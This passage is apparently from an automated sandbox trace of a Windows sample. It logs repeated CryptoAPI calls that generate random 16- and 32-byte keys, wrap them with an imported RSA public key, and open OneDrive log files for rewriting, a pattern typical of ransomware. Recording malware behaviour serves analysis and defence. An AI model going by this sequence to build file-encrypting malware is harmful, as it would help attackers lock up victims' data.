pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.042] CryptEncrypt (in: hKey=0x4f80898, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5980000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5980000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.042] GetLastError () returned 0x0 [0183.042] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.042] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.045] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f808d8) returned 1 [0183.045] CryptGetKeyParam (in: hKey=0x4f808d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.045] CryptEncrypt (in: hKey=0x4f808d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5990000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5990000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.045] GetLastError () returned 0x0 [0183.045] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.045] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_133220_864-704.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_133220_864-704.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.046] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.047] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.048] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.048] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.048] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.048] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.050] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.050] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.050] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.050] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.051] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.054] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80bd8) returned 1 [0183.054] CryptGetKeyParam (in: hKey=0x4f80bd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.054] CryptEncrypt (in: hKey=0x4f80bd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x59a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x59a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.054] GetLastError () returned 0x0 [0183.054] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.054] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0183.056] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80918) returned 1 [0183.056] CryptGetKeyParam (in: hKey=0x4f80918, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.056] CryptEncrypt (in: hKey=0x4f80918, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x59b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x59b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.056] GetLastError () returned 0x0 [0183.056] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.056] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\2017-07-21_133220_ae0-29c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\2017-07-21_133220_ae0-29c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.057] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.058] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.059] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.060] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.060] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.060] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.061] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.062] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.062] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.062] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.062] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0183.064] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80c98) returned 1 [0183.064] CryptGetKeyParam (in: hKey=0x4f80c98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.064] CryptEncrypt (in: hKey=0x4f80c98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x59c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x59c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.064] GetLastError () returned 0x0 [0183.064] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.064] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.066] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81058) returned 1 [0183.066] CryptGetKeyParam (in: hKey=0x4f81058, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.066] CryptEncrypt (in: hKey=0x4f81058, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x59d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x59d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.066] GetLastError () returned 0x0 [0183.066] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.067] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-05-24_104601_b30-494.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-05-24_104601_b30-494.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.067] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.068] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.069] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.069] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.069] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.069] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.070] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.071] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.071] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.071] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.071] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.073] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80e98) returned 1 [0183.073] CryptGetKeyParam (in: hKey=0x4f80e98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.073] CryptEncrypt (in: hKey=0x4f80e98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x59e0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x59e0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.073] GetLastError () returned 0x0 [0183.073] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.073] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.075] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f814d8) returned 1 [0183.075] CryptGetKeyParam (in: hKey=0x4f814d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.075] CryptEncrypt (in: hKey=0x4f814d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x59f0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x59f0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.075] GetLastError () returned 0x0 [0183.075] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.076] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-07-12_164141_b14-7f0.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-07-12_164141_b14-7f0.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.076] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.077] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.078] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.078] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.078] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.078] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0183.079] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.080] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.080] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.080] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.080] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0183.082] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80d58) returned 1 [0183.082] CryptGetKeyParam (in: hKey=0x4f80d58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.082] CryptEncrypt (in: hKey=0x4f80d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5a00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5a00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.083] GetLastError () returned 0x0 [0183.083] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0183.083] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.085] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80dd8) returned 1 [0183.085] CryptGetKeyParam (in: hKey=0x4f80dd8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.085] CryptEncrypt (in: hKey=0x4f80dd8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5a10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5a10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.085] GetLastError () returned 0x0 [0183.085] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.085] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-11-10_161058_b2c-b34.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-11-10_161058_b2c-b34.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.085] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0183.087] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.087] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.088] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.088] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.088] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.089] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.089] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.090] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.090] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.090] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.092] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81498) returned 1 [0183.092] CryptGetKeyParam (in: hKey=0x4f81498, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.092] CryptEncrypt (in: hKey=0x4f81498, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5a20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5a20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.092] GetLastError () returned 0x0 [0183.092] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.092] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.094] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f811d8) returned 1 [0183.094] CryptGetKeyParam (in: hKey=0x4f811d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.094] CryptEncrypt (in: hKey=0x4f811d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5a30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5a30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.095] GetLastError () returned 0x0 [0183.095] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.095] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-05-24_104600_528-57c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-05-24_104600_528-57c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.095] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0183.097] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.097] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.097] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.097] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.097] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.099] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.099] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.099] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.099] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.099] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.102] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81258) returned 1 [0183.102] CryptGetKeyParam (in: hKey=0x4f81258, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.102] CryptEncrypt (in: hKey=0x4f81258, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5a40000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5a40000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.102] GetLastError () returned 0x0 [0183.102] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.102] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.104] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80d18) returned 1 [0183.104] CryptGetKeyParam (in: hKey=0x4f80d18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.104] CryptEncrypt (in: hKey=0x4f80d18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5a50000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5a50000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.104] GetLastError () returned 0x0 [0183.104] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.104] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-07-12_164138_904-4d0.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-07-12_164138_904-4d0.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.105] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.106] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.107] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.107] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.107] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.107] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.109] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.110] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.110] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.110] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.110] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.112] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80d98) returned 1 [0183.112] CryptGetKeyParam (in: hKey=0x4f80d98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.113] CryptEncrypt (in: hKey=0x4f80d98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5a60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5a60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.113] GetLastError () returned 0x0 [0183.113] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.113] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0183.115] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81318) returned 1 